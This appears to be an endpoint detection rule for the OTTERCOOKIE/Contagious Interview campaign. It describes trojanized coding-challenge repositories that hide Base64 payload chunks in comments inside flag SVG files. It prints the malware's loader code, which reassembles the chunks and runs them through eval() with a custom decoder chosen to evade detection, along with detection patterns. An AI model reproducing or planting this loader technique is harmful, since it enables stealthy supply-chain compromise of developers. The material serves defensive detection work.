name: OTTERCOOKIE SVG Steganography Payload Reassembly and Eval Execution Analytic
signatureid: EDR-NIX26-RUN
category: 'Execution'
threatname: 'Command and Scripting Interpreter: JavaScript'
functionality: 'Endpoint Management Systems'
description: |
Detects the SVG steganography reassembly and dynamic execution stage of the REF9403
Contagious Interview / OTTERCOOKIE campaign. DPRK-aligned actors distribute trojanized
e-commerce "coding challenge" repositories (e.g. next-ecommerce-private-main, shopping-platform,
gocart-based Next.js templates) in which the malware payload is split into Base64 fragments
embedded inside HTML comment blocks (<!-- ... -->) across every country-flag SVG in an assets
directory (AE.svg, AF.svg, etc.). A helper file (serverValidation.js) reads every .svg in the
flags directory in alphabetical order, concatenates the comment-block chunks, decodes them with a
custom Base64 function named Check(), and passes the result straight to eval() via
runServerValidation(). eval() is deliberately used with a custom decoder to avoid Buffer.from /
atob detections. server/index.js invokes runServerValidation() on every server start, and
package.json wires both "npm run dev" and "npm start" to node server/index.js, so the payload
executes on each boot. This rule anchors on a node/npm process whose command line references the
reassembly helper or the flags-directory read-and-eval pattern.
Sysmon For Linux EVID 1 is the best way to detect this attack vector on Linux servers.
reference:
- https://www.elastic.co/security-labs/contagious-interview-malware-svg-steganography
- https://jp.security.ntt/insights_resources/tech_blog/en-contagious-interview-ottercookie
- https://research.jfrog.com/post/rollup-polyfill-masquerading/
- https://attack.mitre.org/techniques/T1001/002/
labels:
- attack.execution
- attack.t1059.007
- attack.defense_evasion
- attack.t1001.002
- attack.t1027
- attack.initial_access
- attack.t1195.002
- OTTERCOOKIE
- Contagious_Interview
- REF9403
- SVG_Steganography
- DPRK
- APT
logsource:
category: process_creation
product: linux
detection:
selection_runtime:
Image|endswith:
- '/node'
- '/npm'
- '/npx'
selection_reassembly_helper:
ChildProcessCommandLine|contains:
- 'serverValidation'
- 'runServerValidation'
selection_flag_read_pattern:
ChildProcessCommandLine|contains|all:
- 'flags'
- '.svg'
ChildProcessCommandLine|contains:
- 'readdirSync'
- 'readFileSync'
- 'localeCompare'
selection_eval_decoder:
ChildProcessCommandLine|contains|all:
- 'eval('
- 'Check('
condition: selection_runtime and (selection_reassembly_helper or selection_flag_read_pattern or selection_eval_decoder)
criticality: High
saveasthreat: false
violation_summary:
grouping_attribute: 'accountname'
level2_attribute: 'devicehostname'
level2_metadata_attributes:
TECHNICAL DETAILS
Reassembly logic observed in serverValidation.js:
function validation() {
const dir = path.join(process.cwd(), "assets", "flags");
const files = fs.readdirSync(dir)
.filter(f => f.endsWith(".svg"))
.sort((a, b) => a.localeCompare(b, "en"));
const parts = [];
for (const f of files) {
const raw = fs.readFileSync(path.join(dir, f), "utf8");
const m = raw.match(/<!--\s*([\s\S]*?)\s*-->/);
parts.push(m ? m[1].trim() : "");
}
return parts.join("");
}
function runServerValidation() {
try { eval(Check(validation())); } catch (err) {}
}
Execution wiring:
- server/index.js calls runServerValidation() after middleware setup
- package.json: "dev:server" and "start" both run "node server/index.js"
- Payload therefore runs on every `npm run dev` and `npm start`
Detection notes:
- Base64 payload chunks live inside <!-- --> comment blocks of each flag SVG
(AE.svg, AF.svg ... alphabetical). File-integrity/YARA hunt for HTML comment
blocks containing long Base64 runs inside *.svg under an assets/flags path is a
strong complementary control.
- Custom Check() decoder + eval() is chosen specifically to evade Buffer.from / atob
string detections. If ScriptBlock/command-line telemetry is unavailable, pivot to
network detections on the same host.
False Positives:
- Legitimate build tooling that inlines SVG assets does not read a flags directory
and pass concatenated comment contents to eval(). Very low expected FP.
Policy building walkthrough can be found in this previous post:
